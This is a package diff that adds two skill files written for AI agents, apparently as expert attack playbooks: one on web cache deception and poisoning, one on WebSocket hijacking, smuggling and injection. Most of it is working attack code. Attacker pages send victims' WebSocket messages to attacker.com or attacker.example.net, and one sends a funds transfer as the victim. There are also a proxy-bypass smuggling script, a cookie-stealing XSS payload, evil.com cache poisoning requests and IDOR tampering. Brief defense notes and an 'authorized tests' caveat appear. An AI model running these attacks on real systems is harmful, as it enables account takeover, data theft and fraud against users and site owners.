ineedcodes 1.6.0 → 1.7.0

package/skills/web-cache-deception/SKILL.md

@@ -0,0 +1,222 @@
+---
+name: web-cache-deception
+description: >-
+  Web cache deception and poisoning playbook. Use when CDN, reverse proxy, or application caching may serve sensitive authenticated content to other users due to path confusion or cache key manipulation.gated: true
+---
+
+# SKILL: Web Cache Deception — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Web cache deception and poisoning techniques. Covers path confusion attacks, CDN cache behavior exploitation, cache key manipulation, and the distinction between cache deception (steal data) and cache poisoning (serve malicious content). Presented by Omer Gil at Black Hat 2017 and significantly expanded since.
+
+### Advanced Reference
+
+Also load [CACHE_POISONING_TECHNIQUES.md](./CACHE_POISONING_TECHNIQUES.md) when you need:
+- Web Cache Poisoning vs Web Cache Deception — clear distinction and attack flow comparison
+- Unkeyed header poisoning (X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL, multiple Host headers)
+- Unkeyed parameter poisoning (utm_content, fbclid, callback, reflected but not in cache key)
+- Fat GET cache poisoning (body parameters reflected but not keyed)
+- Parameter cloaking via semicolons and duplicate parameter parsing differentials
+- CDN-specific behavior: Cloudflare, CloudFront, Akamai, Varnish, Fastly (cache key composition, debug headers, ESI)
+- Vary header manipulation, cache partitioning attacks, and missing Vary vulnerabilities
+
+## 1. CORE CONCEPTS
+
+### Web Cache Deception (steal authenticated data)
+
+The attacker tricks a victim into requesting their authenticated page at a URL that the cache considers static:
+
+```
+Victim visits: https://target.com/account/profile/nonexistent.css
+→ Application ignores "nonexistent.css", serves /account/profile (with auth data)
+→ CDN sees .css extension → caches the response
+→ Attacker fetches: https://target.com/account/profile/nonexistent.css
+→ CDN serves cached authenticated content → attacker reads victim's data
+```
+
+### Web Cache Poisoning (serve malicious content)
+
+The attacker manipulates unkeyed request components (headers, cookies) to make the cache store a malicious response:
+
+```
+GET /page HTTP/1.1
+Host: target.com
+X-Forwarded-Host: evil.com
+→ Application generates: <script src="https://evil.com/js/app.js">
+→ Cache stores this response
+→ Normal users hit cache → load attacker's JavaScript
+```
+
+---
+
+## 2. CACHE DECEPTION — ATTACK METHODOLOGY
+
+### Step 1: Identify Cacheable Path Patterns
+
+CDNs typically cache by file extension:
+```text
+.css  .js  .jpg  .png  .gif  .svg  .ico
+.woff .woff2  .ttf  .pdf  .json (sometimes)
+```
+
+### Step 2: Test Path Confusion
+
+```text
+# Append static extension to authenticated endpoint:
+https://target.com/api/me/info.css
+https://target.com/account/profile/x.js
+https://target.com/settings/avatar.png
+https://target.com/dashboard/data.json
+
+# Path traversal style:
+https://target.com/account/profile/..%2fstatic/app.css
+```
+
+### Step 3: Verify Caching
+
+```bash
+# Request as victim (authenticated):
+curl -H "Cookie: session=VICTIM" https://target.com/account/profile/x.css
+
+# Check response headers:
+# X-Cache: MISS (first request)
+# Age: 0
+
+# Request again as attacker (no auth):
+curl https://target.com/account/profile/x.css
+
+# Check response:
+# X-Cache: HIT
+# Contains victim's authenticated content? → vulnerable
+```
+
+### Step 4: Deliver to Victim
+
+Send the crafted URL to victim via phishing, message, or embed:
+```
+https://target.com/account/profile/tracking.gif
+```
+
+---
+
+## 3. CACHE POISONING — ATTACK METHODOLOGY
+
+### Unkeyed Input Discovery
+
+Cache keys typically include: `Host`, URL path, query string.
+These are typically NOT in the cache key: `X-Forwarded-Host`, `X-Forwarded-Scheme`, `X-Original-URL`, cookies, custom headers.
+
+```bash
+# Test if X-Forwarded-Host is reflected but not keyed:
+curl -H "X-Forwarded-Host: evil.com" https://target.com/page
+# If response contains evil.com and caches → poisonable
+```
+
+### Common Unkeyed Headers
+
+```text
+X-Forwarded-Host      X-Forwarded-Scheme    X-Forwarded-Proto
+X-Original-URL        X-Rewrite-URL         X-Host
+X-Forwarded-Server    Forwarded             True-Client-IP
+```
+
+### Cache Poisoning via Host Header
+
+```
+GET / HTTP/1.1
+Host: target.com
+X-Forwarded-Host: evil.com
+
+→ Response: <link href="//evil.com/static/main.css">
+→ Cached → all users load attacker's CSS/JS
+```
+
+---
+
+## 4. PATH NORMALIZATION DIFFERENCES
+
+The key to cache deception: **CDN and application normalize paths differently**.
+
+| Component | Behavior |
+|---|---|
+| CDN (Cloudflare, Akamai) | Caches based on full URL path including extension |
+| Application (Rails, Django, Express) | May ignore trailing path segments or extensions |
+| Reverse proxy (Nginx) | May strip or rewrite path before forwarding |
+
+```text
+# Application treats these as equivalent:
+/account/profile
+/account/profile/anything
+/account/profile/x.css
+/account/profile;.css
+
+# CDN treats .css as cacheable static asset
+→ Mismatch = vulnerability
+```
+
+---
+
+## 5. CACHE POISONING REAL-WORLD PATTERN
+
+### X-Forwarded-Host → Open Graph / Meta Tag Injection
+
+```text
+# Target page uses X-Forwarded-Host to generate meta tags:
+GET / HTTP/1.1
+Host: target.com
+X-Forwarded-Host: evil.com
+
+# Response:
+<meta property="og:image" content="https://evil.com/assets/logo.png">
+# or:
+<link rel="canonical" href="https://evil.com/">
+
+# If response is cached → all users see evil.com references
+# Impact: XSS via injected JS path, phishing via canonical redirect, SEO hijack
+```
+
+### Cache Deception with Path Separator Tricks
+
+```text
+# Semicolon (treated as path parameter by some frameworks):
+/account/profile;.css
+
+# Encoded separators:
+/account/profile%2F.css
+
+# Trailing dot/space:
+/account/profile/.css
+/account/profile .css
+```
+
+---
+
+## 6. DEFENSE
+
+### For Cache Deception
+
+- Cache only explicitly static paths (e.g., `/static/*`, `/assets/*`)
+- Never cache based on file extension alone
+- Set `Cache-Control: no-store, private` on authenticated endpoints
+- Use `Vary: Cookie` to prevent cross-user cache hits
+
+### For Cache Poisoning
+
+- Include all reflected headers in cache key
+- Validate and sanitize `X-Forwarded-*` headers
+- Use `Cache-Control: no-cache` for dynamic content
+- Strip unknown headers at CDN edge
+
+---
+
+## 6. TESTING CHECKLIST
+
+```
+□ Identify CDN/cache layer (X-Cache, Age, Via headers)
+□ Append .css/.js/.png to authenticated API endpoints
+□ Check if response is cached (X-Cache: HIT on second request)
+□ Test path separators: /x.css, ;.css, %2F.css
+□ Test unkeyed headers: X-Forwarded-Host, X-Original-URL
+□ Verify Cache-Control headers on sensitive endpoints
+□ Check Vary header presence
+□ Test with and without authentication
+```

package/skills/websocket-security/SKILL.md

@@ -0,0 +1,454 @@
+---
+name: websocket-security
+description: >-
+  WebSocket handshake, CSWSH, tooling (wsrepl, ws-harness, Burp), and common flaws. Use when apps use real-time channels, chat, notifications, or WS-backed APIs.gated: true
+---
+
+# SKILL: WebSocket Security
+
+> **AI LOAD INSTRUCTION**: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in **authorized** tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load **[api-sec](../api-sec/SKILL.md)** when present in the workspace.
+
+## 0. QUICK START
+
+During proxy or raw traffic review, watch for:
+
+```http
+Upgrade: websocket
+Connection: Upgrade
+Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
+Sec-WebSocket-Version: 13
+Sec-WebSocket-Protocol: optional-subprotocol
+```
+
+Server success response indicators:
+
+```http
+HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade
+Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
+```
+
+**Routing note**: in Burp/browser DevTools, filter for `101` and `Upgrade: websocket`; for deeper API testing, align authn/authz models through `api-sec`.
+
+---
+
+## 1. PROTOCOL BASICS
+
+### Client request (typical)
+
+- **`Upgrade: websocket`** and **`Connection: Upgrade`** — required upgrade handshake.
+- **`Sec-WebSocket-Key`** — base64 nonce; server hashes with magic GUID and responds with **`Sec-WebSocket-Accept`**.
+- **`Sec-WebSocket-Version: 13`** — current standard version for browser interoperability.
+
+### Server response
+
+- **`HTTP/1.1 101 Switching Protocols`** — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.
+
+Minimal conceptual flow:
+
+```text
+Client: HTTP GET + Upgrade headers
+Server: 101 + Sec-WebSocket-Accept
+Channel: framed messages (text/binary), ping/pong, close
+```
+
+---
+
+## 2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)
+
+### Condition
+
+- The server **does not validate `Origin`** (or equivalent binding) on the WebSocket handshake, **and**
+- The victim has an **active session** (cookie-based or browser-stored creds) to the target site.
+
+Then a malicious page loaded in the victim’s browser may open a WebSocket **as the victim**, similar in spirit to CSRF but for a **persistent bidirectional channel**.
+
+### Proof-of-concept pattern (laboratory / authorized target only)
+
+```javascript
+const ws = new WebSocket('wss://vulnerable.example.com/messages');
+ws.onopen = () => { ws.send('HELLO'); };
+ws.onmessage = (event) => {
+  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
+};
+```
+
+**Testing notes**: Confirm whether **`Origin`** is checked, whether **cookies** are sent (`SameSite` rules), and whether **subprotocol** or **custom headers** are required—missing checks increase CSWSH risk.
+
+---
+
+## 3. TESTING WITH TOOLS
+
+### wsrepl
+
+```bash
+pip install wsrepl
+wsrepl -u wss://target.example.com/ws -P auth_plugin.py
+```
+
+Use a **plugin** to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.
+
+### ws-harness (bridge to HTTP for other tools)
+
+```bash
+python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
+```
+
+Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):
+
+```bash
+sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
+```
+
+### Burp Suite ecosystem
+
+- **SocketSleuth** — inspect and manipulate WebSocket traffic inside Burp.
+- **WebSocket Turbo Intruder** — high-rate or scripted message fuzzing.
+
+---
+
+## 4. COMMON VULNERABILITIES
+
+| Issue | Why it matters |
+|-------|----------------|
+| Missing **`Origin`** validation | Enables **CSWSH** from attacker-controlled pages |
+| **Auth token in URL** (`wss://host/ws?token=...`) | Logs, proxies, Referer leakage, browser history |
+| **No rate limiting** on messages | Abuse, brute force, DoS |
+| **`ws://` instead of `wss://`** | Cleartext on the wire (MITM) |
+| **Injection in message bodies** | SQLi, command injection, or XSS if content is stored/reflected elsewhere |
+
+Example sensitive URL anti-pattern:
+
+```text
+wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
+```
+
+Prefer **Sec-WebSocket-Protocol**, **first-message auth**, or **cookie + CSRF token** patterns aligned with product constraints.
+
+---
+
+## 5. DECISION TREE
+
+1. **Identify endpoint** — From JS bundles, Swagger, or `101` responses; note `wss` vs `ws`.
+2. **Handshake review** — Are **`Origin`**, **Host**, and **Cookie** policies correct? Any token in query string?
+3. **Session binding** — Reconnect with **another user’s** cookie jar in Burp; compare subscription topics and data leakage.
+4. **CSWSH** — Load a **local HTML** page that connects to the target with victim session active; verify server rejects wrong **Origin** or uses non-cookie secret.
+5. **Message semantics** — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
+6. **Transport** — Flag **`ws://`** in production; verify TLS and HSTS alignment.
+
+---
+
+## 6. RELATED ROUTING
+
+- From **[api-sec](../api-sec/SKILL.md)** — authentication, authorization, IDOR, and rate limiting often **mirror** HTTP APIs behind the same WebSocket routes.
+
+**Note**: WebSocket often shares session and permission models with REST; use `api-sec` to align authentication and resource boundaries on the same backend.
+
+---
+
+## 7. CSWSH — STEP-BY-STEP EXPLOITATION
+
+### Step 1: Confirm no Origin check on WS handshake
+
+```text
+# In Burp: intercept the WebSocket upgrade request
+# Change Origin header to: https://attacker.com
+# If 101 Switching Protocols returned → no Origin validation
+# If 403/rejected → Origin is checked (test subdomain variants)
+```
+
+### Step 2: Craft attacker page
+
+```html
+<html>
+<body>
+<script>
+const ws = new WebSocket('wss://target.com/ws');
+
+ws.onopen = function() {
+    // Connection established as victim (cookies sent automatically)
+    console.log('Connected as victim');
+    // Send commands as victim
+    ws.send(JSON.stringify({action: 'get_profile'}));
+    ws.send(JSON.stringify({action: 'list_messages'}));
+};
+
+ws.onmessage = function(event) {
+    // Exfiltrate all received messages
+    fetch('https://attacker.com/collect', {
+        method: 'POST',
+        body: event.data
+    });
+};
+
+ws.onerror = function(err) {
+    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
+};
+</script>
+</body>
+</html>
+```
+
+### Step 3: Cookies and session hijacking
+
+```text
+Browser behavior for WebSocket:
+- Cookies for the target domain ARE sent automatically in the upgrade request
+- SameSite=None cookies always sent
+- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
+- SameSite=Strict cookies: NOT sent
+
+Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
+→ Legacy cookies default to Lax in modern Chrome but None in older browsers
+```
+
+### Step 4: Read/write messages as victim
+
+```javascript
+// Attacker can both READ and WRITE on the WebSocket
+// Read: financial data, private messages, admin commands
+// Write: transfer funds, change settings, send messages as victim
+
+ws.onopen = () => {
+    // Write: perform actions as victim
+    ws.send(JSON.stringify({
+        action: 'transfer',
+        to: 'attacker_account',
+        amount: 10000
+    }));
+};
+
+ws.onmessage = (e) => {
+    const data = JSON.parse(e.data);
+    if (data.type === 'balance') {
+        // Read: exfiltrate sensitive data
+        navigator.sendBeacon('https://attacker.com/data',
+            JSON.stringify(data));
+    }
+};
+```
+
+---
+
+## 8. WEBSOCKET SMUGGLING
+
+### Concept
+
+Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.
+
+### Upgrade-based proxy bypass
+
+```text
+1. Reverse proxy restricts access to /admin (returns 403)
+2. Client sends legitimate WebSocket upgrade to /ws
+3. Proxy allows the upgrade (101 response)
+4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
+5. Client sends raw HTTP request through the "WebSocket" connection:
+   GET /admin HTTP/1.1
+   Host: backend-server
+6. Backend processes the HTTP request → 200 OK with admin content
+```
+
+### H2-over-WebSocket smuggling
+
+```text
+1. Connect to target via WebSocket
+2. After upgrade, send HTTP/2 preface through the WebSocket tunnel
+3. Backend HTTP/2 handler processes the smuggled requests
+4. Bypass WAF/proxy rules that only inspect HTTP/1.1 traffic
+```
+
+### Implementation with Python
+
+```python
+import websocket
+import ssl
+
+ws = websocket.create_connection(
+    'wss://target.com/ws',
+    header=['Origin: https://target.com'],
+    sslopt={"cert_reqs": ssl.CERT_NONE}
+)
+
+# After upgrade, send raw HTTP through the tunnel
+smuggled_request = (
+    b"GET /admin/users HTTP/1.1\r\n"
+    b"Host: internal-backend\r\n"
+    b"Connection: close\r\n\r\n"
+)
+ws.send(smuggled_request, opcode=0x2)  # binary frame
+response = ws.recv()
+print(response)
+```
+
+### Proxy-specific behaviors
+
+| Proxy | WebSocket Tunnel Behavior |
+|-------|--------------------------|
+| Nginx | Passes raw TCP after 101 — smuggling possible if backend doesn't validate WS frames |
+| HAProxy | Depends on `option http-server-close` vs `tunnel` mode |
+| AWS ALB | Terminates WebSocket — reframes traffic, harder to smuggle |
+| Cloudflare | Inspects WebSocket frames — raw HTTP smuggling blocked |
+| Varnish | Does not support WebSocket natively — upgrade may bypass cache entirely |
+
+---
+
+## 9. SOCKET.IO SPECIFIC VULNERABILITIES
+
+### Namespace injection
+
+Socket.IO supports namespaces (`/admin`, `/chat`). If authorization is only on the default namespace:
+
+```javascript
+// Client connects to privileged namespace without auth check
+const adminSocket = io('https://target.com/admin');
+adminSocket.on('connect', () => {
+    adminSocket.emit('list_users');
+});
+
+// Server may not verify that the client is authorized for /admin namespace
+```
+
+### Event name injection
+
+If event names are derived from user input:
+
+```javascript
+// Server-side vulnerable pattern:
+socket.on(userInput, handler);
+
+// Attacker sends event name that matches internal event:
+socket.emit('__disconnect');     // force disconnect other clients
+socket.emit('connection');        // re-trigger connection handler
+socket.emit('error');             // trigger error handler
+```
+
+### Acknowledgement callback abuse
+
+Socket.IO acknowledgements can return data. If the server sends sensitive data in ack callbacks:
+
+```javascript
+socket.emit('get_data', {id: 'admin'}, (response) => {
+    // response may contain data the client shouldn't have access to
+    fetch('https://attacker.com/exfil', {
+        method: 'POST',
+        body: JSON.stringify(response)
+    });
+});
+```
+
+### Polling fallback CSRF
+
+Socket.IO falls back to HTTP long-polling when WebSocket is unavailable. The polling transport uses regular HTTP requests with cookies → susceptible to CSRF if no additional token verification:
+
+```text
+POST /socket.io/?EIO=4&transport=polling&sid=SESSION_ID
+Content-Type: application/octet-stream
+
+4{"type":2,"data":["transfer",{"to":"attacker","amount":1000}]}
+```
+
+---
+
+## 10. WEBSOCKET MESSAGE INJECTION
+
+### In intercepted connections (MITM on `ws://`)
+
+If the application uses `ws://` (unencrypted), an attacker on the same network can inject messages:
+
+```text
+1. ARP spoofing or network position to intercept traffic
+2. Identify WebSocket frames in TCP stream
+3. Inject crafted frames between legitimate messages
+4. Both client→server and server→client injection possible
+```
+
+### Application-level injection
+
+When WebSocket messages are concatenated or interpolated without sanitization:
+
+```javascript
+// Vulnerable server-side handler:
+socket.on('chat', (msg) => {
+    // If msg contains JSON metacharacters:
+    broadcast(`{"user":"${username}","msg":"${msg}"}`);
+    // Injection: msg = '","admin":true,"msg":"hacked'
+    // Result: {"user":"attacker","msg":"","admin":true,"msg":"hacked"}
+});
+```
+
+### Stored XSS via WebSocket
+
+```text
+1. Send WebSocket message: <img src=x onerror=alert(document.cookie)>
+2. Server stores message and broadcasts to all connected clients
+3. If client renders message as HTML → stored XSS
+4. All connected users affected simultaneously
+```
+
+---
+
+## 11. BINARY WEBSOCKET MESSAGE MANIPULATION
+
+### Protobuf deserialization
+
+Applications using Protocol Buffers over WebSocket may be vulnerable to:
+
+```text
+1. Capture binary WebSocket frame
+2. Decode protobuf structure (use protoc --decode_raw or protobuf-inspector)
+3. Modify field values (e.g., change user_id, amount, role)
+4. Re-encode and send modified frame
+5. Server deserializes without re-validating field constraints
+```
+
+```bash
+# Decode captured binary frame
+echo "CAPTURED_HEX" | xxd -r -p | protoc --decode_raw
+
+# Output: field structure with types and values
+# Modify, re-encode, send back through WebSocket
+```
+
+### MessagePack deserialization
+
+```python
+import msgpack
+import websocket
+
+ws = websocket.create_connection('wss://target.com/ws')
+
+# Decode received binary message
+raw = ws.recv()
+data = msgpack.unpackb(raw, raw=False)
+# data = {'action': 'get_balance', 'user_id': 123}
+
+# Modify and re-send
+data['user_id'] = 1  # IDOR: access admin's balance
+ws.send(msgpack.packb(data), opcode=0x2)
+```
+
+### Type confusion attacks
+
+Binary serialization formats may allow type confusion:
+
+```text
+# Original: user_id as integer (field type 0)
+# Modified: user_id as string "1 OR 1=1" (field type 2)
+# If server doesn't validate types after deserialization → SQL injection
+
+# Original: is_admin as boolean false (0x00)
+# Modified: is_admin as boolean true (0x01)
+# Direct privilege escalation if server trusts deserialized values
+```
+
+### Tools for binary WebSocket analysis
+
+| Tool | Purpose |
+|------|---------|
+| Burp Suite + SocketSleuth | Intercept and modify binary frames |
+| `protobuf-inspector` | Decode unknown protobuf structures |
+| `msgpack-tools` | Encode/decode MessagePack CLI |
+| `wsdump` (websocket-client) | Raw frame capture and replay |
+| Wireshark | Dissect WebSocket frames at protocol level |